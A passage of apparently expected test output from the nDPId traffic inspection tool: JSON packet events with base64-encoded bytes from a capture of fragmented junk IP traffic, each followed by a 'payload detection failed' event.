failed","thread_id":0,"packet_id":496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4047,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4058,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4070,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4082,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4093,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4105,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4116,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4129,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4141,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4152,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4163,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4174,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4220,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4232,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4243,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4262,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4273,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4284,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4297,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4344,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4352,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4358,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4365,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4372,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4379,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4386,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4392,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4399,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4406,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4412,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4419,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4426,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4432,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4439,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4446,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4453,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4460,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4469,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4476,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4482,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4489,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00379{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4496,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":4502,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} 